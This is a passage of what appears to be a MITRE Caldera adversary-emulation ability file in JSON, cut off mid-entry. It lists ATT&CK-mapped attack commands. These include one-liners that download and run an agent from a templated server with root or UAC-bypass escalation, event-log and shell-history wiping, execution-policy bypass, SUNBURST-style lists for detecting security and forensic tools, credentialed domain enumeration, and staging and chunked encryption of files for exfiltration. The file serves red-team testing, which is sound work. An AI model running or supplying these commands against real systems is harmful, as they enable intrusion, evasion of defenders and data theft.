[{"ability_id": "36eecb80-ede3-442b-8774-956e906aff02", "tactic": "defense-evasion", "technique_name": "Virtualization/Sandbox Evasion: Time Based Evasion", "technique_id": "T1497.003", "name": "1-min sleep", "description": "Pause all operations to avoid making noise", "executors": [{"name": "sh", "platform": "darwin", "command": "sleep 60", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "sleep 60", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "sleep 60", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "7f6ea111-1528-4bf7-9ae1-3ee9c3eb3218", "tactic": "privilege-escalation", "technique_name": "Abuse Elevation Control Mechanism", "technique_id": "T1548", "name": "Abuse Linux Capability: Python3", "description": "Use python3 to pull down Caldera agent as root", "executors": [{"name": "sh", "platform": "linux", "command": "python3 -c \"import os; server='#{server}'; curl_cmd=f'curl -s -X POST -H \\\"file:sandcat.go\\\" -H \\\"platform:linux\\\" {server}/file/download > splunkd'; chmod_cmd='chmod +x splunkd'; os.system(curl_cmd); os.system(chmod_cmd); os.execl('/bin/sh', 'sh', '-p', '-c', f'./splunkd -server {server} -group red')\"", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": [], "additional_info": {"cleanup": "[]"}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "c7ec57cd-933e-42b6-99a4-e852a9e57a33", "tactic": "discovery", "technique_name": "Account Discovery: Domain Account", "technique_id": "T1087.002", "name": "Account Discovery (all)", "description": "The net utility is executed via cmd to enumerate domain user accounts.", "executors": [{"name": "cmd", "platform": "windows", "command": "net user /domain", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "364ea817-bbb9-4083-87dd-94b9dba45f6f", "tactic": "discovery", "technique_name": "Account Discovery: Domain Account", "technique_id": "T1087.002", "name": "Account Discovery (targeted)", "description": "The net utility is executed via cmd to enumerate detailed information about a specific user account.", "executors": [{"name": "cmd", "platform": "windows", "command": "net user #{domain.user.name} /domain", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "net user #{domain.user.name} /domain", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "2afae782-6d0a-4fbd-a6b6-d1ce90090eac", "tactic": "discovery", "technique_name": "Permission Groups Discovery: Domain Groups", "technique_id": "T1069.002", "name": "Account-type Admin Enumerator", "description": "Use PowerView to query the Active Directory server to determine remote admins", "executors": [{"name": "psh", "platform": "windows", "command": "Import-Module .\\powerview.ps1;\n$backup = \"#{backup.admin.ability}\";\n$userName = \"#{domain.user.name}\";\n$userPassword = \"#{domain.user.password}\";\n$secStringPassword = ConvertTo-SecureString $userPassword -AsPlainText -Force;\n$credObject = New-Object System.Management.Automation.PSCredential ($userName, $secStringPassword);\nGet-NetLocalGroupMember -ComputerName #{remote.host.fqdn} -Credential $credObject", "code": null, "language": null, "build_target": null, "payloads": ["powerview.ps1"], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.netlocalgroup", "parserconfigs": [{"source": "remote.host.fqdn", "edge": "has_admin", "target": "domain.user.name", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [{"module": "plugins.stockpile.app.requirements.not_exists", "relationship_match": [{"source": "remote.host.fqdn", "edge": "has_admin"}]}, {"module": "plugins.stockpile.app.requirements.basic", "relationship_match": [{"source": "backup.admin.ability", "edge": "first_failed"}]}, {"module": "plugins.stockpile.app.requirements.basic", "relationship_match": [{"source": "domain.user.name", "edge": "has_password", "target": "domain.user.password"}]}, {"module": "plugins.stockpile.app.requirements.reachable", "relationship_match": [{"source": "remote.host.fqdn", "edge": "isAccessibleFrom"}]}], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": true, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "de52784d-4de6-4d4e-b79e-e7b68fe037fb", "tactic": "execution", "technique_name": "Command and Scripting Interpreter: AppleScript", "technique_id": "T1059.002", "name": "Add bookmark", "description": "Add a malicous bookmark which looks like a current one", "executors": [{"name": "sh", "platform": "darwin", "command": "osascript bookmark.scpt #{host.chrome.bookmark_title[filters(max=1)]} #{server.malicious.url[filters(max=1)]}", "code": null, "language": null, "build_target": null, "payloads": ["bookmark.scpt"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["execution"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "10fad81e-3f68-47be-83b6-fbee7711c6a9", "tactic": "collection", "technique_name": "Automated Collection", "technique_id": "T1119", "name": "Advanced File Search and Stager", "description": "Highly configurable file finder and stager for Linux and Windows. Drops a payload file to the host to parse\narguments rather than running multiple commands for each fact (e.g., each file type). This ability allows for a safe\nmode, only staging files found that have the appropriate file ending. The staging directory is configurable but\ndefaults to the current user's Recycle Bin (Windows) and /tmp (Linux). Payload files include default values for all\nparameters (matching the base fact source - File Search and Stage). Options for searches: file extensions (include,\nexclude [windows]), directories (include, exclude), accessed date cutoff, modified date cutoff, sensitive search\nstrings in files or titles.\n", "executors": [{"name": "psh", "platform": "windows", "command": ".\\file_search.ps1 -Extensions '#{windows.included.extensions}' -ExcludedExtensions '#{windows.excluded.extensions}'\n -Directories '#{windows.included.directories}' -ExcludedDirectories '#{windows.excluded.directories}'\n -AccessedCutoff #{file.last.accessed} -ModifiedCutoff #{file.last.modified}\n -SearchStrings '#{file.sensitive.content}' -StagingDirectory '#{windows.staging.location}'\n -SafeMode $#{safe.mode.enabled} -PseudoExtension #{pseudo.data.identifier}", "code": null, "language": null, "build_target": null, "payloads": ["file_search.ps1"], "uploads": [], "timeout": 300, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.staged", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["if ('#{windows.staging.location}' -match \"recycle[``|\\s]+bin\") {\n       $sid = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value;\n       $StageDir = \"C:\\`$Recycle.Bin\\$sid\\s\";\n} else { $StageDir = '#{windows.staging.location}\\s'; };\nif (Test-Path -Path $StageDir) {Remove-Item -Force -Recurse $StageDir};"], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "chmod +x ./file_search.sh; ./file_search.sh --extensions '#{linux.included.extensions}'\n --directories '#{linux.included.directories}' --exclude-dir '#{linux.excluded.directories}'\n --accessed '#{file.last.accessed}' --modified '#{file.last.modified}' --search-strings '#{file.sensitive.content}'\n --staging-directory '#{linux.staging.location}' --safe-mode '#{safe.mode.enabled}' --pseudo-ext '#{pseudo.data.identifier}'", "code": null, "language": null, "build_target": null, "payloads": ["file_search.sh"], "uploads": [], "timeout": 300, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.staged", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["if [ -d '#{linux.staging.location}' ]; then rm -rf '#{linux.staging.location}/.s'; fi;"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["collection"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "5c65eec8-4839-4713-a4e1-86b2e75d1927", "tactic": "discovery", "technique_name": "Application Window Discovery", "technique_id": "T1010", "name": "Application Window Discovery", "description": "Extracts the names of all open non-explorer windows, and the locations of all explorer windows.", "executors": [{"name": "psh", "platform": "windows", "command": "$x = Get-Process | Where-Object {$_.MainWindowTitle -ne \"\"} | Select-Object MainWindowTitle;\n$a = New-Object -com \"Shell.Application\"; $b = $a.windows() | select-object LocationName;\nwrite-host ($x | Format-List | Out-String) ($b | Format-List | Out-String)", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "43b3754c-def4-4699-a673-1d85648fda6a", "tactic": "defense-evasion", "technique_name": "Indicator Removal on Host: Clear Command History", "technique_id": "T1070.003", "name": "Avoid logs", "description": "Stop terminal from logging history", "executors": [{"name": "sh", "platform": "darwin", "command": "> $HOME/.bash_history && unset HISTFILE", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "> $HOME/.bash_history && unset HISTFILE", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "Clear-History;Clear", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "3864fd22-5c63-41c9-bdbc-a66b5ffa3f5e", "tactic": "defense-evasion", "technique_name": "Impair Defenses: Disable or Modify Tools", "technique_id": "T1562.001", "name": "Bypass ExecutionPolicy", "description": "Ensure the ExecutionPolicy is turned to Bypass", "executors": [{"name": "psh", "platform": "windows", "command": "Set-ItemProperty -Path HKLM:\\Software\\Policies\\Microsoft\\Windows\\PowerShell -Name ExecutionPolicy -Value ByPass;\n        $shell = New-Object -ComObject Wscript.Shell\n        Set-ExecutionPolicy Bypass | echo $shell.sendkeys(\"Y`r`n\")", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "e3db134c-4aed-4c5a-9607-c50183c9ef9e", "tactic": "privilege-escalation", "technique_name": "Abuse Elevation Control Mechanism: Bypass User Access Control", "technique_id": "T1548.002", "name": "Bypass UAC Medium", "description": "Bypass user account controls - medium", "executors": [{"name": "psh", "platform": "windows", "command": "$url=\"#{server}/file/download\"; $wc=New-Object System.Net.WebClient; $wc.Headers.add(\"platform\",\"windows\"); $wc.Headers.add(\"file\",\"sandcat.go\"); $data=$wc.DownloadData($url); $name=$wc.ResponseHeaders[\"Content-Disposition\"].Substring($wc.ResponseHeaders[\"Content-Disposition\"].IndexOf(\"filename=\")+9).Replace(\"`\"\",\"\"); [io.file]::WriteAllBytes(\"C:\\Users\\Public\\$name.exe\",$data);\n$job = Start-Job -ScriptBlock { Import-Module -Name .\\Bypass-UAC.ps1; Bypass-UAC -Command \"C:\\Users\\Public\\$name.exe -group #{group}\"; };\nReceive-Job -Job $job -Wait;", "code": null, "language": null, "build_target": null, "payloads": ["Bypass-UAC.ps1"], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["privilege-escalation"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "830bb6ed-9594-4817-b1a1-c298c0f9f425", "tactic": "discovery", "technique_name": "Software Discovery", "technique_id": "T1518", "name": "Check Chrome", "description": "Check to see if Gooogle Chrome browser is installed", "executors": [{"name": "sh", "platform": "darwin", "command": "which google-chrome", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "which google-chrome", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "9849d956-37ea-49f2-a8b5-f2ca080b315d", "tactic": "discovery", "technique_name": "Software Discovery", "technique_id": "T1518", "name": "Check Go", "description": "Check to see if GoLang is installed", "executors": [{"name": "sh", "platform": "darwin", "command": "which go", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "which go", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "b18e8767-b7ea-41a3-8e80-baf65a5ddef5", "tactic": "discovery", "technique_name": "Software Discovery", "technique_id": "T1518", "name": "Check Python", "description": "Check to see what version of python is installed", "executors": [{"name": "sh", "platform": "darwin", "command": "python3 --version;python2 --version;python --version", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "python3 --version;python2 --version;python --version", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "python3 --version&python2 --version&python --version", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "1258b063-27d6-489b-a677-4807faacf868", "tactic": "defense-evasion", "technique_name": "Virtualization/Sandbox Evasion: System Checks", "technique_id": "T1497.001", "name": "Check Security Services", "description": "Check for security services. Security service list is based on the SUNBURST malware observed in a Solarwinds related compromise (https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/).", "executors": [{"name": "psh", "platform": "windows", "command": "$securityServices = @(\n    \"msmpeng\",\n    \"windefend\",\n    \"mssense\",\n    \"sense\",\n    \"microsoft.tri.sensor\",\n    \"microsoft.tri.sensor.updater\",\n    \"cavp\",\n    \"cb\",\n    \"carbonblack\",\n    \"carbonblackk\",\n    \"cbcomms\",\n    \"cbstream\",\n    \"csfalconservice\",\n    \"csfalconcontainer\",\n    \"csagent\",\n    \"csdevicecontrol\",\n    \"csfalconservice\",\n    \"xagt\",\n    \"xagtnotif\",\n    \"fe_avk\",\n    \"fekern\",\n    \"feelam\",\n    \"fewscservice\",\n    \"ekrn\",\n    \"eguiproxy\",\n    \"egui\",\n    \"eamonm\",\n    \"eelam\",\n    \"ehdrv\",\n    \"ekrnepfw\",\n    \"epfwwfp\",\n    \"ekbdflt\",\n    \"epfw\",\n    \"fsgk32st\",\n    \"fswebuid\",\n    \"fsgk32\",\n    \"fsma32\",\n    \"fssm32\",\n    \"fnrb32\",\n    \"fsaua\",\n    \"fsorsp\",\n    \"fsav32\",\n    \"f-secure gatekeeper handler starter\",\n    \"f-secure network request broker\",\n    \"f-secure webui daemon\",\n    \"fsma\",\n    \"fsorspclient\",\n    \"f-secure gatekeeper\",\n    \"f-secure hips\",\n    \"fsbts\",\n    \"fsni\",\n    \"fsvista\",\n    \"f-secure filter\",\n    \"f-secure recognizer\",\n    \"fses\",\n    \"fsfw\",\n    \"fsdfw\",\n    \"fsms\",\n    \"fsdevcon\"\n);\n\n$currentServices = Get-Service | Select-Object -Property Name;\nforeach ($svc in $currentServices) {\n    foreach ($secSvc in $securityServices) {\n        if ($svc.Name -like $secSvc) {\n            $svcDetails = Get-Service -name $svc.Name | Select-Object -Property Name, DisplayName, Status;\n            Write-Host \"[!] Security service found:\";\n            Write-Host \"    Service Name:`t\", $svcDetails.Name;\n            Write-Host \"    Display Name:`t\", $svcDetails.DisplayName;\n            Write-Host \"    Status:`t`t\", $svcDetails.Status;\n            Write-Host \"\";\n        }\n    }\n}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "$securityServices = @(\n    \"msmpeng\",\n    \"windefend\",\n    \"mssense\",\n    \"sense\",\n    \"microsoft.tri.sensor\",\n    \"microsoft.tri.sensor.updater\",\n    \"cavp\",\n    \"cb\",\n    \"carbonblack\",\n    \"carbonblackk\",\n    \"cbcomms\",\n    \"cbstream\",\n    \"csfalconservice\",\n    \"csfalconcontainer\",\n    \"csagent\",\n    \"csdevicecontrol\",\n    \"csfalconservice\",\n    \"xagt\",\n    \"xagtnotif\",\n    \"fe_avk\",\n    \"fekern\",\n    \"feelam\",\n    \"fewscservice\",\n    \"ekrn\",\n    \"eguiproxy\",\n    \"egui\",\n    \"eamonm\",\n    \"eelam\",\n    \"ehdrv\",\n    \"ekrnepfw\",\n    \"epfwwfp\",\n    \"ekbdflt\",\n    \"epfw\",\n    \"fsgk32st\",\n    \"fswebuid\",\n    \"fsgk32\",\n    \"fsma32\",\n    \"fssm32\",\n    \"fnrb32\",\n    \"fsaua\",\n    \"fsorsp\",\n    \"fsav32\",\n    \"f-secure gatekeeper handler starter\",\n    \"f-secure network request broker\",\n    \"f-secure webui daemon\",\n    \"fsma\",\n    \"fsorspclient\",\n    \"f-secure gatekeeper\",\n    \"f-secure hips\",\n    \"fsbts\",\n    \"fsni\",\n    \"fsvista\",\n    \"f-secure filter\",\n    \"f-secure recognizer\",\n    \"fses\",\n    \"fsfw\",\n    \"fsdfw\",\n    \"fsms\",\n    \"fsdevcon\"\n);\n\n$currentServices = Get-Service | Select-Object -Property Name;\nforeach ($svc in $currentServices) {\n    foreach ($secSvc in $securityServices) {\n        if ($svc.Name -like $secSvc) {\n            $svcDetails = Get-Service -name $svc.Name | Select-Object -Property Name, DisplayName, Status;\n            Write-Host \"[!] Security service found:\";\n            Write-Host \"    Service Name:`t\", $svcDetails.Name;\n            Write-Host \"    Display Name:`t\", $svcDetails.DisplayName;\n            Write-Host \"    Status:`t`t\", $svcDetails.Status;\n            Write-Host \"\";\n        }\n    }\n}", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "7a6ba833-de40-466a-8969-5c37b13603e0", "tactic": "defense-evasion", "technique_name": "Virtualization/Sandbox Evasion: System Checks", "technique_id": "T1497.001", "name": "Check analysis environment processes", "description": "Check for analysis/sandbox environment processes. Process black list is based on the SUNBURST malware observed in a Solarwinds related compromise (https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/).", "executors": [{"name": "psh", "platform": "windows", "command": "$forensicProcesses = @(\n    \"apimonitor-x64\",\n    \"apimonitor-x86\",\n    \"autopsy64\",\n    \"autopsy\",\n    \"autoruns64\",\n    \"autoruns\",\n    \"autorunsc64\",\n    \"autorunsc\",\n    \"binaryninja\",\n    \"blacklight\",\n    \"cff explorer\",\n    \"cutter\",\n    \"de4dot\",\n    \"debugview\",\n    \"diskmon\",\n    \"dnsd\",\n    \"dnspy\",\n    \"dotpeek32\",\n    \"dotpeek64\",\n    \"dumpcap\",\n    \"evidence center\",\n    \"exeinfope\",\n    \"fakedns\",\n    \"fakenet\",\n    \"ffdec\",\n    \"fiddler\",\n    \"fileinsight\",\n    \"floss\",\n    \"gdb\",\n    \"hiew32demo\",\n    \"hiew32\",\n    \"hollows_hunter\",\n    \"idaq64\",\n    \"idaq\",\n    \"idr\",\n    \"ildasm\",\n    \"ilspy\",\n    \"jd-gui\",\n    \"lordpe\",\n    \"officemalscanner\",\n    \"ollydbg\",\n    \"pdfstreamdumper\",\n    \"pe-bear\",\n    \"pebrowse64\",\n    \"peid\",\n    \"pe-sieve32\",\n    \"pe-sieve64\",\n    \"pestudio\",\n    \"peview\",\n    \"ppee\",\n    \"procdump64\",\n    \"procdump\",\n    \"processhacker\",\n    \"procexp64\",\n    \"procexp\",\n    \"procmon\",\n    \"prodiscoverbasic\",\n    \"py2exedecompiler\",\n    \"r2agent\",\n    \"rabin2\",\n    \"radare2\",\n    \"ramcapture64\",\n    \"ramcapture\",\n    \"reflector\",\n    \"regmon\",\n    \"resourcehacker\",\n    \"retdec-ar-extractor\",\n    \"retdec-bin2llvmir\",\n    \"retdec-bin2pat\",\n    \"retdec-config\",\n    \"retdec-fileinfo\",\n    \"retdec-getsig\",\n    \"retdec-idr2pat\",\n    \"retdec-llvmir2hll\",\n    \"retdec-macho-extractor\",\n    \"retdec-pat2yara\",\n    \"retdec-stacofin\",\n    \"retdec-unpacker\",\n    \"retdec-yarac\",\n    \"rundotnetdll\",\n    \"sbiesvc\",\n    \"scdbg\",\n    \"scylla_x64\",\n    \"scylla_x86\",\n    \"shellcode_launcher\",\n    \"solarwindsdiagnostics\",\n    \"sysmon64\",\n    \"sysmon\",\n    \"task explorer\",\n    \"task explorer-x64\",\n    \"tcpdump\",\n    \"tcpvcon\",\n    \"tcpview\",\n    \"vboxservice\",\n    \"win32_remote\",\n    \"win64_remotex64\",\n    \"windbg\",\n    \"windump\",\n    \"winhex64\",\n    \"winhex\",\n    \"winobj\",\n    \"wireshark\",\n    \"x32dbg\",\n    \"x64dbg\",\n    \"xwforensics64\",\n    \"xwforensics\",\n    \"redcloak\",\n    \"avgsvc\",\n    \"avgui\",\n    \"avgsvca\",\n    \"avgidsagent\",\n    \"avgsvcx\",\n    \"avgwdsvcx\",\n    \"avgadminclientservice\",\n    \"afwserv\",\n    \"avastui\",\n    \"avastsvc\",\n    \"aswidsagent\",\n    \"aswidsagenta\",\n    \"aswengsrv\",\n    \"avastavwrapper\",\n    \"bccavsvc\",\n    \"psanhost\",\n    \"psuaservice\",\n    \"psuamain\",\n    \"avp\",\n    \"avpui\",\n    \"ksde\",\n    \"ksdeui\",\n    \"tanium\",\n    \"taniumclient\",\n    \"taniumdetectengine\",\n    \"taniumendpointindex\",\n    \"taniumtracecli\",\n    \"taniumtracewebsocketclient64\"\n);\n\nfunction Find-ForensicProcesses {\n    param (\n        $ForensicProcessList\n    );\n    $CurrentProcesses = Get-Process | Sort-Object | Select-Object -Property Name | Get-Unique -AsString;\n    foreach ($proc in $CurrentProcesses) {\n        foreach ($forensicProc in $ForensicProcessList) {\n            if ($proc.name -like $forensicProc) {\n                $procPath = Get-Process -Name $proc.Name | Sort-Object | Select-Object -Property Path | Get-Unique;\n                Write-Host \"[!] Forensic process found: \" $proc.Name;\n                Write-Host \"[!] Path: \" $procPath.Path;\n            }\n        }\n    }\n}\n\nFind-ForensicProcesses($forensicProcesses);", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "fcf71ee3-d1a9-4136-b919-9e5f6da43608", "tactic": "defense-evasion", "technique_name": "Indicator Removal on Host: Clear Windows Event Logs", "technique_id": "T1070.001", "name": "Clear Logs", "description": "Clear Sysmon logs [intended to trigger CAR-2016-04-002]", "executors": [{"name": "psh", "platform": "windows", "command": "Clear-Eventlog Security;\nClear-Eventlog System;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "pwsh", "platform": "windows", "command": "Clear-Eventlog Security;\nClear-Eventlog System;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "Elevated", "repeatable": false, "buckets": ["defense-evasion"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "85341c8c-4ecb-4579-8f53-43e3e91d7617", "tactic": "discovery", "technique_name": "Remote System Discovery", "technique_id": "T1018", "name": "Collect ARP details", "description": "Locate all active IP and FQDNs on the network", "executors": [{"name": "sh", "platform": "darwin", "command": "arp -a", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.ipaddr", "parserconfigs": [{"source": "remote.host.ip", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "sh", "platform": "linux", "command": "arp -a", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.ipaddr", "parserconfigs": [{"source": "remote.host.ip", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "arp -a", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.ipaddr", "parserconfigs": [{"source": "remote.host.ip", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}, {"name": "cmd", "platform": "windows", "command": "arp -a", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.ipaddr", "parserconfigs": [{"source": "remote.host.ip", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": [], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["discovery"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "2f90d4de-2612-4468-9251-b220e3727452", "tactic": "exfiltration", "technique_name": "Archive Collected Data: Archive via Utility", "technique_id": "T1560.001", "name": "Compress Git Repository", "description": "This ability will compress a given git repository.", "executors": [{"name": "sh", "platform": "linux", "command": "tar -czf #{host.dir.git}.tar.gz -C \"#{host.dir.git}\" .; printf #{host.dir.git}.tar.gz;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["rm #{host.dir.git}.tar.gz;"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "tar -czf #{host.dir.git}.tar.gz -C #{host.dir.git} *; Write-Host #{host.dir.git}.tar.gz; exit 0;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["Remove-Item -Path #{host.dir.git}.tar.gz;"], "variations": [], "additional_info": {}}], "requirements": [], "privilege": "", "repeatable": false, "buckets": ["exfiltration"], "additional_info": {}, "access": {}, "singleton": false, "plugin": "stockpile", "delete_payload": true}, {"ability_id": "5c5b0392-1daa-45e1-967c-2f361ce78849", "tactic": "exfiltration", "technique_name": "Data Transfer Size Limits", "technique_id": "T1030", "name": "Compress Staged Directory (Password Protected) and Split Into Smaller Chunks", "description": "This ability will compress the staged files into a password protected archive and break it\ninto smaller chunks based on the given byte size. The original archive will be automatically\ndeleted. Use this instead of other archiving abilities if small file sizes for exfiltration \nare desired. When used with an exfiltration ability, the exfiltration ability will run numerous\ntimes in an operation depending on how many chunks are created. \n", "executors": [{"name": "sh", "platform": "linux", "command": "tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase '#{host.archive.password}' > #{host.dir.staged}.tar.gz.gpg;\nsplit -b#{file.size.chunk} '#{host.dir.staged}.tar.gz.gpg' '#{host.dir.staged}'/calderachunk;\nrm '#{host.dir.staged}.tar.gz.gpg';\nfind '#{host.dir.staged}' -maxdepth 1 -name 'calderachunk*' 2>/dev/null;", "code": null, "language": null, "build_target": null, "payloads": [], "uploads": [], "timeout": 60, "parsers": [{"module": "plugins.stockpile.app.parsers.basic", "parserconfigs": [{"source": "host.dir.compress", "edge": "", "target": "", "custom_parser_vals": {}}]}], "cleanup": ["find '#{host.dir.staged}' -maxdepth 1 -name 'calderachunk*' -exec rm -rf {} \\;"], "variations": [], "additional_info": {}}, {"name": "psh", "platform": "windows", "command": "& 